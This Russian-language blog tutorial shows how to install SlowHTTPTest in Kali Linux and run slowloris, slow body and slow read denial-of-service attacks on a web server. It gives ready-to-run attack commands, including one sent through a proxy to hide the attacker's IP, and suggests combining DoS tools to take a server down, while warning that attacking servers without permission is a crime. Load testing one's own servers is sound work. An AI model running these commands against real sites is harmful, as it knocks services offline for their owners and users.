Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте | WebWare.biz

# Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте

18.06.201528.06.2015 WebWare Team Безопасность

Стресс-тесты сети могут дать важные данные о проблемах, связанных с производительностью сервера, о неправильной (недостаточной) его настройке. Даже чтобы проверить, правильно ли настроен и работает mod_evasive пригодятся утилиты для имитации DoS атак.

Связанные статьи по защите веб-сервера:

- Как усилить веб-сервер Apache с помощью mod_security и mod_evasive на CentOS

Связанные статьи по DoS:

- Стресс-тест сети с Low Orbit Ion Cannon (LOIC)
- Стресс-тест сети (DoS веб-сайта) с SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте (вы её читаете)

SlowHTTPTest — это имеющий множество настроек инструмент, симулирующие некоторые атаки отказа в обслуживании (DoS) уровня приложения. Он работает на большинстве платформ Linux, OSX и Cygwin (Unix-подобное окружение и интерфейс командной строки для Microsoft Windows).

Эта программа реализует наиболее общие замедляющие работу сети DoS атаки уровня приложений, такие как Slowloris, атака slow body, атака Slow Read (на основе эксплойта постоянного таймера TCP), она занимает весь доступный пул подключений, а также атака Apache Range Header, которая становится причиной очень значительного использования памяти и центрального процессора на сервере.

Slowloris и Slow HTTP POST DoS атаки полагаются на факт, что HTTP, намеренно, требует от запросов быть полученными сервером полностью до того, как они будут обработаны. Если запрос HTTP неполон или скорость его пересылки очень медленная, сервер сохраняет своио ресурсы занятыми, ожидая оставшихся данных. Если сервер поддерживает слишком много занятых ресурсов, то это влечёт отказ в обслуживании. Этот инструмент отправляет частичные запросы HTTP, пытаясь добиться отказа в обслуживании от целевого HTTP сервера.

Атака Slow Read нацелена на те же ресурсы, что и slowloris со slow body, но вместно продлевания запроса, она отправляет легитимные HTTP запросы, но ответы читает медленно.

## Установка SlowHTTPTest

### Установка для пользователей Kali Linux

Для пользователей Kali Linux установка через apt-get .. (жизнь хороша!)

    apt-get install slowhttptest

### Для других дистрибутивов Linux

Инструмент распространяется как портативный пакет, т. е. просто загрузите последний тарбол из секции загрузки, извлеките, настройте, скомпилируйте и установите.

Этот набор команд делает следующее: скачивает самую последнюю версию SlowHTTPTest, распаковывает её и переходим в каталог с программой:

    (t=`curl -s https://code.google.com/p/slowhttptest/downloads/list | grep -E -o '//slowhttptest.googlecode.com/files/slowhttptest(.)*.tar.gz" onclick="' | sed 's/\/\///' | sed 's/" onclick="//' | head -1`; curl -s $t -o slowhttptest-last.tar.gz) && tar -xzvf slowhttptest-last.tar.gz && cd slowhttptest-*

Т.е. теперь только остаётся выполнить конфигурацию, компиляцию и установку.

Для тех, кто предпочитает скачать архив вручную, переходите сюда.

    $ tar -xzvf slowhttptest-x.x.tar.gz
    $ cd slowhttptest-x.x
    $ ./configure --prefix=PREFIX
    $ make
    $ sudo make install

Здесь PREFIX должен быть заменён на абсолютный путь, где инструмент slowhttptest должен быть установлен.

У вас должна быть установлена libssl-dev для успешной компиляции этого инструмента. Большинство систем должны иметь его.

### Mac OS X

Используем Homebrew:

    brew update && brew install slowhttptest

### Linux

Попробуйте ваш любимый пакетный менеджер, некоторые из них знают о slowhttptest (как Kali Linux).

## Использование SlowHTTPTest

slowhttptest это потрясающий инструмент, который позволяет делать многие вещи. Далее только несколько примеров использования.

Пример использования в режиме slow body a.k.a R-U-Dead-Yet, результаты только выводятся на экран

    slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php -x 10 -p 3

Тоже самое, но график сохраняется в файл

    slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php -x 10 -p 3

А это тесты памяти, которые я проводил с интервалами в несколько секунд на сервере, который подвергался атаке. Первый замер сделан до атаки, последующие — во время. Видно, что количество свободной памяти уменьшалось очень стремительно вплоть до того момента, пока сервер не лёг.

Пример использования в режиме slow headers a.k.a. Slowloris

    slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u http://192.168.1.37/info.php -x 24 -p 3

Тоже самое, но график сохраняется в файл

    slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://192.168.1.37/info.php -x 24 -p 3

Всё очень похоже: сервер лёг и больше не поднимался:

Пример использования в режиме Slow Read через прокси.

Здесь x.x.x.x:8080 — это прокси, который используется для доступа к веб-сайту с IP отличного от вашего:

    slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://192.168.1.37/info.php -p 5 -l 350 -e x.x.x.x:8080

Сервер в нокауте:

## Вывод по SlowHTTPTest

В зависимости от выбранного уровня детальности, вывод может быть как простым в виде генерируемых каждый 5 секунд сообщений, показывающих статус соединений (это при уровне 1), так и полным дампом трафика (при уровне детальности 4).

-g опция означает создание файла CSV, а также интерактивного HTML, основанного на инструментах Google Chart.

Приведённые выше скриншоты показывают состояние соединений и доступность сервера на различных этапах времени, а также дают общую картину поведения конкретного сервера под конкретной нагрузкой во время заданного временного интервала.

Файл CSV может быть полезен в качестве источника для вашего любимого инструмента по работе с данными, среди них могут быть MS Excel, iWork Numbers или Google Docs.

Последнее сообщение, которые выводит программа при закрытии, этот статус завершения, они могут быть следующими:

- “Hit test time limit” программа достигла лимита времени, заданного аргументом -l
- “No open connections left” пир закрыл все соединения
- “Cannot establish connection” не было установлено соединений за время N секунд теста, где N или величина аргумента -i, или 10 (значение по умолчанию). Это может случиться если нет маршрута к удалённому хосту или пир лёг.
- “Connection refused” удалённый сервер не принимает соединения (может быть только от тебя? Попробуйте использовать прокси) на определённом порту
- “Cancelled by user” вы нажали Ctrl-C или отправили SIGINT каким-либо другим образом
- “Unexpected error” не должно никогда случаться.

## Примеры вывода реальных тестов SlowHTTPTest

Примеры уже даны чуть выше, давайте сделаем ещё один. Как и в предыдущие разы у меня доступ к атакующей и атакуемой машинам, поэтому есть возможность выполнить замеры на обоих. В этот раз посчитаем количество соединений.

### Со стороны атакующего

Итак, я собрал статистику для атаки на http://192.168.1.37 с 1000 соединениями.

    slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php -x 10 -p 3

### Со стороны сервера-жертвы

    root@WebWare-Debian:~# netstat | grep http | wc -l
    111

Показатели не получается снять во время проведения атаки, т. к. по SSH сервер также перестаёт отвечать. Общее число http соединений подпрыгнуло до 111 в первые 10 секунд.

Этого более чем достаточно чтобы положить сервер (это могут быть большинство маленьких серверов или VPS).

## Рекомендации по тестированию DoS

- DoS атака чужих серверов без разрешения, особенно успешная, является преступлением, в том числе в РФ
- При атаке на локалхост (особенно на маломощных и виртуальных машинах), тормоза сервера могут быть связаны не с DoS атакой, а с тем, что сама программа SlowHTTPTest заняла все ресурсы и сама по себе тормозит компьютер.
- Если при атаке на удалённый хост программа пишет вам, что он недоступен, а при попытке открыть страницу веб-сайта в браузере действительно ничего не открывается, то не спешите радоваться. Вполне возможно, сто сработала защита от DoS атаки и ваш IP (временно) заблокирован. Для всех остальных сайт прекрасно открывается. Можете убедиться в этом сами, используя любой анонимайзер или прокси или подключившись через другого Интернет-провайдера.

## Заключение

Это можно делать с Windows, Linux и даже с Mac. Если вы запустите несколько DoS инструментов, таких как GoldenEye, hping3 на один веб-сервер, то тогда его будет очень просто выбить. Общие советы по защите от DoS будут в следующей статье (да, следующая статья опять про стресс-тест сети). А о правильной настройке сервера, в том числе о модуле, защищающим именно от слоу-атак, будет рассказано в ближайшее время. Следите за обновлениями на WebWare.biz!
Если вам понравилась статья, пожалуйста, делитесь ей в социальных сетях. Спасибо за чтение.

Поделиться "Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте"

- Facebook
- Twitter
- Google+
- VKontakte
- E-mail

Связанные статьи:

- Стресс-тест сети с Low Orbit Ion Cannon (LOIC) (63.4%)
- Как узнать, куда перенаправляет ссылка (как вычислить партнёрскую, реферальную ссылку) (60.5%)
- Стресс-тест сети: DoS веб-сайта в Kali Linux с GoldenEye (59.6%)
- Стресс-тест беспроводной сети с Wifi_DoS: как досить Wi-Fi (59.3%)
- Решение проблемы с установкой Low Orbit Ion Cannon (LOIC) на Ubuntu, Linux Mint: ERROR: Unable to find 'resgen' tool (58.5%)
- Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и cowpatty в Kali Linux (RANDOM - 51.9%)

### Добавить комментарий Отменить ответ

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Имя *

E-mail *

Сайт

Комментарий

Можно использовать следующие HTML-теги и атрибуты: `<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>`

Получать новые комментарии по электронной почте. Вы можете подписаться без комментирования.

### Бесплатная книга по Kali

Читайте и скачивайте бесплатную книгу по Kali Linux 2.0 на русском языке

### Примечательные статьи:

- Рекомендованные USB беспроводные карты для Kali Linux
- Что почитать о компьютерной безопасности в 2015 году
- Как получить короткий и красивый e-mail
- Хостинг со сканером вирусов
- Свобода самовыражения с новыми доменными зонами
- Брошенные сайты с ТИЦ и PR, свободные премиум домены

### Популярные записи

Установка Apache, PHP, MySQL, phpMyAdmin 19 Авг , 2014
Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину 19 Окт , 2014
Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и cowpatty в Kali Linux 12 Фев , 2015
Kali Linux 2.0 с ядром 4.0 – Установка проприетарного драйвера NVIDIA – ускоренный видеодрайвер NVIDIA для Linux 12 Фев , 2015
MiAl’s Server Pack (полностью настроенный и рабочий сервер Apache + MySQL + PHP + phpMyAdmin — WAMP) (v. 0.3.1) 20 Авг , 2014
Модификация форка Reaver — t6x — для использования атаки Pixie Dust 04 Май , 2015

### Свежие записи

- PW-Inspector: отбираем пароли соответствующие критериям
- Решение ошибки dpkg: warning: ‘ldconfig’ not found in PATH or not executable, возникающей при установке пакетов в Kali Linux
- Решение проблемы с ошибкой E: Could not get lock /var/lib/dpkg/lock — open (11: Resource temporarily unavailable) в Kali Linux
- Брутфорсинг веб-сайтов с Hydra (часть вторая инструкции по Hydra)
- THC-Hydra: очень быстрый взломщик сетевого входа в систему (часть первая)

### Свежие комментарии

- DocenT к записи Взлом Wifi WPA/WPA2 паролей с использованием Reaver
- ss к записи Взлом Wifi WPA/WPA2 паролей с использованием Reaver
- Спасибо тебе большое! к записи Книга «Тестирование на проникновение с Kali Linux» 2.0 на русском языке
- Денис к записи Установка Nvidia + Bumblebee + CUDA на Kali Linux 1.1.0 для машин с включённым Optimus
- Денис к записи Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину

### Рубрики

- CSS
- JavaScript
- PHP
- SEO
- WordPress
- Без рубрики
- Безопасность
- Настройка сети
- Ни web'ом единым
- Новости
- Плагины
- Программирование (кодинг)
- Программы для сервера
- Работа и заработок в Интернете
- Ресурсы
- Создание сайтов
- Фотографии

### Вступайте в официальную группу

### Счётчики